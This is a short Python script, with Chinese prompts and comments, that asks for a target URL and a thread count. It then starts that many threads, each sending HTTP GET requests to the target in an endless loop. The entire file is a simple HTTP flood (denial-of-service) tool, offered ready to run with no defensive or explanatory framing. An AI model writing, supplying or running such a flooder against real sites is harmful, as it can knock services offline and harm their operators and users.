import requests
import threading

target_url = input("请输入目标URL：")
num_threads = int(input("请输入使用的线程数："))

def flood():
    while True:
        try:
            response = requests.get(target_url)
            print("发送请求到", target_url)
        except:
            print("连接失败")

# 创建并启动多个线程来发送请求
threads = []
for i in range(num_threads):
    thread = threading.Thread(target=flood)
    thread.start()
    threads.append(thread)

# 等待所有线程完成
for thread in threads:
    thread.join()

